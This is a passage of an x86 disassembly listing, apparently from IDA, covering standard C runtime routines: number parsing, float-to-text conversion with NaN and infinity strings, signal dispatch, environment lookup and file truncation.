		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41CFDE
		dec	eax
		dec	eax
		jz	short loc_41CFD2
		sub	eax, 3
		jnz	loc_41D086


loc_41CF77:				; CODE XREF: sub_41CD10+2A4j
		push	8
		jmp	short loc_41CFE0
; ---------------------------------------------------------------------------


loc_41CF7B:				; CODE XREF: sub_41CD10+63j
					; DATA XREF: seg001:off_41D1B1o
		mov	[ebp+var_20], edx ; jumptable 0041CD73 case 8


loc_41CF7E:				; CODE XREF: sub_41CD10+276j
		cmp	bl, 30h
		jnz	short loc_41CF88
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41CF7E
; ---------------------------------------------------------------------------


loc_41CF88:				; CODE XREF: sub_41CD10+271j
		cmp	bl, 31h
		jl	loc_41D083
		cmp	bl, 39h
		jg	loc_41D083
		jmp	short loc_41CFA6
; ---------------------------------------------------------------------------


loc_41CF9C:				; CODE XREF: sub_41CD10+63j
					; DATA XREF: seg001:off_41D1B1o
		cmp	bl, 31h		; jumptable 0041CD73 case 7
		jl	short loc_41CFAF
		cmp	bl, 39h
		jg	short loc_41CFAF


loc_41CFA6:				; CODE XREF: sub_41CD10+250j
					; sub_41CD10+28Aj
		push	9


loc_41CFA8:				; CODE XREF: sub_41CD10+76j
		pop	eax


loc_41CFA9:				; CODE XREF: sub_41CD10+240j
		dec	edi
		jmp	loc_41CD67
; ---------------------------------------------------------------------------


loc_41CFAF:				; CODE XREF: sub_41CD10+28Fj
					; sub_41CD10+294j
		cmp	bl, 30h
		jnz	short loc_41CFF8
		jmp	short loc_41CF77
; ---------------------------------------------------------------------------


loc_41CFB6:				; CODE XREF: sub_41CD10+63j
					; DATA XREF: seg001:off_41D1B1o
		cmp	[ebp+arg_18], 0	; jumptable 0041CD73 case 11
		jz	short loc_41CFE6
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_41CFDE
		dec	eax
		dec	eax
		jnz	loc_41D086


loc_41CFD2:				; CODE XREF: sub_41CD10+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_41CD67
; ---------------------------------------------------------------------------


loc_41CFDE:				; CODE XREF: sub_41CD10+258j
					; sub_41CD10+2B8j
		push	7


loc_41CFE0:				; CODE XREF: sub_41CD10+85j
					; sub_41CD10+103j ...
		pop	eax
		jmp	loc_41CD67
; ---------------------------------------------------------------------------


loc_41CFE6:				; CODE XREF: sub_41CD10+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_41CFEA:				; CODE XREF: sub_41CD10+5Dj
					; sub_41CD10+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0041CD73 case 10
		jz	loc_41D088
		jmp	loc_41CD67
; ---------------------------------------------------------------------------


loc_41CFF8:				; CODE XREF: sub_41CD10+12Dj
					; sub_41CD10+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_41D088
; ---------------------------------------------------------------------------


loc_41D000:				; CODE XREF: sub_41CD10+63j
					; DATA XREF: seg001:off_41D1B1o
		mov	[ebp+var_20], 1	; jumptable 0041CD73 case 9
		xor	esi, esi


loc_41D009:				; CODE XREF: sub_41CD10+339j
		cmp	dword_4379BC, 1
		jle	short loc_41D021
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_41D030
; ---------------------------------------------------------------------------


loc_41D021:				; CODE XREF: sub_41CD10+300j
		mov	ecx, off_4377B0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41D030:				; CODE XREF: sub_41CD10+30Fj
		test	eax, eax
		jz	short loc_41D050
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_41D04B
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41D009
; ---------------------------------------------------------------------------


loc_41D04B:				; CODE XREF: sub_41CD10+334j
		mov	esi, 1451h


loc_41D050:				; CODE XREF: sub_41CD10+322j
		mov	[ebp+var_1C], esi


loc_41D053:				; CODE XREF: sub_41CD10+371j
		cmp	dword_4379BC, 1
		jle	short loc_41D06B
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_41D07A
; ---------------------------------------------------------------------------


loc_41D06B:				; CODE XREF: sub_41CD10+34Aj
		mov	ecx, off_4377B0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41D07A:				; CODE XREF: sub_41CD10+359j
		test	eax, eax
		jz	short loc_41D083
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41D053
; ---------------------------------------------------------------------------


loc_41D083:				; CODE XREF: sub_41CD10+99j
					; sub_41CD10+E4j ...
		dec	edi
		jmp	short loc_41D088
; ---------------------------------------------------------------------------


loc_41D086:				; CODE XREF: sub_41CD10+261j
					; sub_41CD10+2BCj
		mov	edi, ecx


loc_41D088:				; CODE XREF: sub_41CD10+2DDj
					; sub_41CD10+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_41D170
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_41D0B4
		cmp	[ebp+var_45], 5
		jl	short loc_41D0A8
		inc	[ebp+var_45]


loc_41D0A8:				; CODE XREF: sub_41CD10+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_41D0B7
; ---------------------------------------------------------------------------


loc_41D0B4:				; CODE XREF: sub_41CD10+38Dj
		mov	eax, [ebp+var_C]


loc_41D0B7:				; CODE XREF: sub_41CD10+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_41D166


loc_41D0C1:				; CODE XREF: sub_41CD10+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41D0CF
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_41D0C1
; ---------------------------------------------------------------------------


loc_41D0CF:				; CODE XREF: sub_41CD10+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_41CC49
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_41D0EE
		neg	eax


loc_41D0EE:				; CODE XREF: sub_41CD10+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_41D0F9
		add	eax, [ebp+arg_10]


loc_41D0F9:				; CODE XREF: sub_41CD10+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_41D101
		sub	eax, [ebp+arg_14]


loc_41D101:				; CODE XREF: sub_41CD10+3ECj
		cmp	eax, 1450h
		jle	short loc_41D138
		mov	[ebp+var_2C], 1


loc_41D10F:				; CODE XREF: sub_41CD10+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_41D11B:				; CODE XREF: sub_41CD10+454j
					; sub_41CD10+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_41D181
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_41D196
; ---------------------------------------------------------------------------


loc_41D138:				; CODE XREF: sub_41CD10+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_41D148
		mov	[ebp+var_30], 1
		jmp	short loc_41D10F
; ---------------------------------------------------------------------------


loc_41D148:				; CODE XREF: sub_41CD10+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41D9C9
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_41D11B
; ---------------------------------------------------------------------------


loc_41D166:				; CODE XREF: sub_41CD10+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_41D11B
; ---------------------------------------------------------------------------


loc_41D170:				; CODE XREF: sub_41CD10+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_41D196
; ---------------------------------------------------------------------------


loc_41D181:				; CODE XREF: sub_41CD10+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_41D196
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_41D196:				; CODE XREF: sub_41CD10+426j
					; sub_41CD10+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_41CD10	endp

; ---------------------------------------------------------------------------
off_41D1B1	dd offset loc_41CD7A	; DATA XREF: sub_41CD10+63r
		dd offset loc_41CDC9	; jump table for switch	statement
		dd offset loc_41CE20
		dd offset loc_41CE4A
		dd offset loc_41CEA5
		dd offset loc_41CF1C
		dd offset loc_41CF52
		dd offset loc_41CF9C
		dd offset loc_41CF7B
		dd offset loc_41D000
		dd offset loc_41CFEA
		dd offset loc_41CFB6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D1E1	proc near		; CODE XREF: sub_41BC28+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_41D243
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41D247
; ---------------------------------------------------------------------------


loc_41D243:				; CODE XREF: sub_41D1E1+5Aj
		mov	byte ptr [ebx+2], 20h


loc_41D247:				; CODE XREF: sub_41D1E1+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_41D26D
		test	edi, edi
		jnz	short loc_41D26D
		cmp	[ebp+arg_0], edi
		jnz	short loc_41D26D


loc_41D258:				; CODE XREF: sub_41D1E1+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_41D46B
; ---------------------------------------------------------------------------


loc_41D26D:				; CODE XREF: sub_41D1E1+6Cj
					; sub_41D1E1+70j ...
		cmp	dx, si
		jnz	short loc_41D2EC
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_41D286
		cmp	[ebp+arg_0], 0
		jz	short loc_41D295


loc_41D286:				; CODE XREF: sub_41D1E1+9Dj
		test	edi, 40000000h
		jnz	short loc_41D295
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_41D2DB
; ---------------------------------------------------------------------------


loc_41D295:				; CODE XREF: sub_41D1E1+A3j
					; sub_41D1E1+ABj
		test	cx, cx
		jz	short loc_41D2AF
		cmp	edi, 0C0000000h
		jnz	short loc_41D2AF
		cmp	[ebp+arg_0], 0
		jnz	short loc_41D2D6
		push	offset a1Ind	; "1#IND"
		jmp	short loc_41D2BE
; ---------------------------------------------------------------------------


loc_41D2AF:				; CODE XREF: sub_41D1E1+B7j
					; sub_41D1E1+BFj
		cmp	edi, eax
		jnz	short loc_41D2D6
		cmp	[ebp+arg_0], 0
		jnz	short loc_41D2D6
		push	offset a1Inf	; "1#INF"


loc_41D2BE:				; CODE XREF: sub_41D1E1+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_414FB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_41D2CD:				; CODE XREF: sub_41D1E1+109j
		and	[ebp+var_4], 0
		jmp	loc_41D444
; ---------------------------------------------------------------------------


loc_41D2D6:				; CODE XREF: sub_41D1E1+C5j
					; sub_41D1E1+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_41D2DB:				; CODE XREF: sub_41D1E1+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_414FB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_41D2CD
; ---------------------------------------------------------------------------


loc_41D2EC:				; CODE XREF: sub_41D1E1+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41D9C9
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_41D34D
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41D7A9
		pop	ecx
		pop	ecx


loc_41D34D:				; CODE XREF: sub_41D1E1+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_41D367
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_41D36A
		jmp	loc_41D258
; ---------------------------------------------------------------------------


loc_41D367:				; CODE XREF: sub_41D1E1+173j
		mov	edi, [ebp+arg_C]


loc_41D36A:				; CODE XREF: sub_41D1E1+17Fj
		cmp	edi, 15h
		jle	short loc_41D372
		push	15h
		pop	edi


loc_41D372:				; CODE XREF: sub_41D1E1+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_41D388:				; CODE XREF: sub_41D1E1+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41CBEE
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_41D388
		test	esi, esi
		jge	short loc_41D3B2
		neg	esi
		and	esi, 0FFh
		jle	short loc_41D3B2


loc_41D3A5:				; CODE XREF: sub_41D1E1+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41CC1C
		dec	esi
		pop	ecx
		jnz	short loc_41D3A5


loc_41D3B2:				; CODE XREF: sub_41D1E1+1B8j
					; sub_41D1E1+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_41D40F
		mov	[ebp+arg_C], ecx


loc_41D3C2:				; CODE XREF: sub_41D1E1+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_41CBEE
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41CBEE
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41CB90
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41CBEE
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_41D3C2
		mov	eax, [ebp+arg_14]


loc_41D40F:				; CODE XREF: sub_41D1E1+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_41D44C


loc_41D41C:				; CODE XREF: sub_41D1E1+248j
		cmp	eax, ecx
		jb	short loc_41D42F
		cmp	byte ptr [eax],	39h
		jnz	short loc_41D42B
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_41D41C
; ---------------------------------------------------------------------------


loc_41D42B:				; CODE XREF: sub_41D1E1+242j
		cmp	eax, ecx
		jnb	short loc_41D433


loc_41D42F:				; CODE XREF: sub_41D1E1+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_41D433:				; CODE XREF: sub_41D1E1+24Cj
		inc	byte ptr [eax]


loc_41D435:				; CODE XREF: sub_41D1E1+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_41D444:				; CODE XREF: sub_41D1E1+F0j
		mov	eax, [ebp+var_4]


loc_41D447:				; CODE XREF: sub_41D1E1+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D44C:				; CODE XREF: sub_41D1E1+239j
					; sub_41D1E1+275j
		cmp	eax, ecx
		jb	short loc_41D45C
		cmp	byte ptr [eax],	30h
		jnz	short loc_41D458
		dec	eax
		jmp	short loc_41D44C
; ---------------------------------------------------------------------------


loc_41D458:				; CODE XREF: sub_41D1E1+272j
		cmp	eax, ecx
		jnb	short loc_41D435


loc_41D45C:				; CODE XREF: sub_41D1E1+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_41D46B:				; CODE XREF: sub_41D1E1+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_41D447
sub_41D1E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D474	proc near		; CODE XREF: sub_418A1C+33ECp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_41D4DB
		dec	eax
		dec	eax
		jz	short loc_41D4CC
		sub	eax, 4
		jz	short loc_41D4CC
		sub	eax, 3
		jz	short loc_41D4CC
		sub	eax, 4
		jz	short loc_41D4BF
		sub	eax, 6
		jz	short loc_41D4B2
		dec	eax
		jz	short loc_41D4A5
		or	eax, 0FFFFFFFFh
		jmp	loc_41D59D
; ---------------------------------------------------------------------------


loc_41D4A5:				; CODE XREF: sub_41D474+27j
		mov	esi, dword_742504
		mov	eax, offset dword_742504
		jmp	short loc_41D4E6
; ---------------------------------------------------------------------------


loc_41D4B2:				; CODE XREF: sub_41D474+24j
		mov	esi, dword_742500
		mov	eax, offset dword_742500
		jmp	short loc_41D4E6
; ---------------------------------------------------------------------------


loc_41D4BF:				; CODE XREF: sub_41D474+1Fj
		mov	esi, dword_742508
		mov	eax, offset dword_742508
		jmp	short loc_41D4E6
; ---------------------------------------------------------------------------


loc_41D4CC:				; CODE XREF: sub_41D474+10j
					; sub_41D474+15j ...
		push	edi
		call	sub_41D5A1
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_41D4E6
; ---------------------------------------------------------------------------


loc_41D4DB:				; CODE XREF: sub_41D474+Cj
		mov	esi, dword_7424FC
		mov	eax, offset dword_7424FC


loc_41D4E6:				; CODE XREF: sub_41D474+3Cj
					; sub_41D474+49j ...
		cmp	esi, 1
		jnz	short loc_41D4F2
		xor	eax, eax
		jmp	loc_41D59D
; ---------------------------------------------------------------------------


loc_41D4F2:				; CODE XREF: sub_41D474+75j
		test	esi, esi
		jnz	short loc_41D4FD
		push	3
		call	sub_415C9A


loc_41D4FD:				; CODE XREF: sub_41D474+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_41D50F
		cmp	edi, 0Bh
		jz	short loc_41D50F
		cmp	edi, 4
		jnz	short loc_41D535


loc_41D50F:				; CODE XREF: sub_41D474+8Fj
					; sub_41D474+94j
		mov	ebx, dword_7422DC
		and	dword_7422DC, 0
		cmp	edi, ecx
		jnz	short loc_41D564
		mov	edx, dword_437E0C
		mov	dword_437E0C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_41D538
; ---------------------------------------------------------------------------


loc_41D535:				; CODE XREF: sub_41D474+99j
		mov	ebx, [ebp+arg_0]


loc_41D538:				; CODE XREF: sub_41D474+BFj
		cmp	edi, ecx
		jnz	short loc_41D564
		mov	eax, dword_437E00
		mov	ecx, dword_437E04
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_41D56B
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:437D90h[edx*4]


loc_41D559:				; CODE XREF: sub_41D474+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_41D559
		jmp	short loc_41D56B
; ---------------------------------------------------------------------------


loc_41D564:				; CODE XREF: sub_41D474+AAj
					; sub_41D474+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_41D579


loc_41D56B:				; CODE XREF: sub_41D474+D7j
					; sub_41D474+EEj
		push	dword_437E0C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_41D587
; ---------------------------------------------------------------------------


loc_41D579:				; CODE XREF: sub_41D474+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_41D587
		cmp	edi, 4
		jnz	short loc_41D59A


loc_41D587:				; CODE XREF: sub_41D474+103j
					; sub_41D474+10Cj
		cmp	edi, 8
		mov	dword_7422DC, ebx
		jnz	short loc_41D59A
		mov	eax, [ebp+arg_0]
		mov	dword_437E0C, eax


loc_41D59A:				; CODE XREF: sub_41D474+111j
					; sub_41D474+11Cj
		xor	eax, eax
		pop	ebx


loc_41D59D:				; CODE XREF: sub_41D474+2Cj
					; sub_41D474+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41D474	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D5A1	proc near		; CODE XREF: sub_41D474+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_437E08
		cmp	dword_437D8C, edx
		push	esi
		mov	eax, offset dword_437D88
		jz	short loc_41D5CF
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:437D88h[esi*4]


loc_41D5C3:				; CODE XREF: sub_41D5A1+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41D5CF
		cmp	[eax+4], edx
		jnz	short loc_41D5C3


loc_41D5CF:				; CODE XREF: sub_41D5A1+16j
					; sub_41D5A1+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:437D88h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41D5E3
		cmp	[eax+4], edx
		jz	short locret_41D5E5


loc_41D5E3:				; CODE XREF: sub_41D5A1+3Bj
		xor	eax, eax

locret_41D5E5:				; CODE XREF: sub_41D5A1+40j
		retn
sub_41D5A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5E6	proc near		; CODE XREF: sub_41BFB2+23p

arg_0		= dword	ptr  4

		cmp	dword_743888, 0
		push	ebx
		push	esi
		mov	esi, dword_742254
		push	edi
		jz	short loc_41D65D
		test	esi, esi
		jnz	short loc_41D617
		cmp	dword_74225C, esi
		jz	short loc_41D65D
		call	sub_41DA84
		test	eax, eax
		jnz	short loc_41D65D
		mov	esi, dword_742254
		test	esi, esi
		jz	short loc_41D65D


loc_41D617:				; CODE XREF: sub_41D5E6+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_41D65D
		push	ebx
		call	sub_413E90
		pop	ecx
		mov	edi, eax


loc_41D628:				; CODE XREF: sub_41D5E6+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41D65D
		push	eax
		call	sub_413E90
		cmp	eax, edi
		pop	ecx
		jbe	short loc_41D650
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_41D650
		push	edi
		push	ebx
		push	eax
		call	sub_41DA45
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41D655


loc_41D650:				; CODE XREF: sub_41D5E6+51j
					; sub_41D5E6+59j
		add	esi, 4
		jmp	short loc_41D628
; ---------------------------------------------------------------------------


loc_41D655:				; CODE XREF: sub_41D5E6+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_41D65F
; ---------------------------------------------------------------------------


loc_41D65D:				; CODE XREF: sub_41D5E6+10j
					; sub_41D5E6+1Cj ...
		xor	eax, eax


loc_41D65F:				; CODE XREF: sub_41D5E6+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D5E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D663	proc near		; CODE XREF: sub_41C716+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_413E60
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_743640
		jnb	loc_41D798
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_743540[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_41D798
		push	1
		push	esi
		push	ebx
		call	sub_419DD2
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_41D7A2
		push	2
		push	esi
		push	ebx
		call	sub_419DD2
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_41D7A2
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41D745
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_413890
		push	8000h
		push	ebx
		call	sub_41DAF2
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_41D6F9:				; CODE XREF: sub_41D663+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_41D704
		mov	eax, edi


loc_41D704:				; CODE XREF: sub_41D663+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41A67D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D722
		sub	edi, eax
		test	edi, edi
		jle	short loc_41D738
		jmp	short loc_41D6F9
; ---------------------------------------------------------------------------


loc_41D722:				; CODE XREF: sub_41D663+B5j
		cmp	dword_742230, 5
		jnz	short loc_41D735
		mov	dword_74222C, 0Dh


loc_41D735:				; CODE XREF: sub_41D663+C6j
		or	esi, 0FFFFFFFFh


loc_41D738:				; CODE XREF: sub_41D663+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_41DAF2
		pop	ecx
		pop	ecx
		jmp	short loc_41D785
; ---------------------------------------------------------------------------


loc_41D745:				; CODE XREF: sub_41D663+71j
		jge	short loc_41D785
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_419DD2
		push	ebx
		call	sub_41C682
		add	esp, 10h
		push	eax
		call	dword_41F010	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D785
		mov	dword_74222C, 0Dh
		call	dword_41F06C	; RtlGetLastWin32Error
		mov	dword_742230, eax


loc_41D785:				; CODE XREF: sub_41D663+E0j
					; sub_41D663:loc_41D745j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_419DD2
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------


loc_41D798:				; CODE XREF: sub_41D663+1Aj
					; sub_41D663+36j
		mov	dword_74222C, 9


loc_41D7A2:				; CODE XREF: sub_41D663+4Ej
					; sub_41D663+63j
		or	eax, 0FFFFFFFFh


loc_41D7A5:				; CODE XREF: sub_41D663+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_41D663	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D7A9	proc near		; CODE XREF: sub_41D1E1+165p
					; sub_41D9C9+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
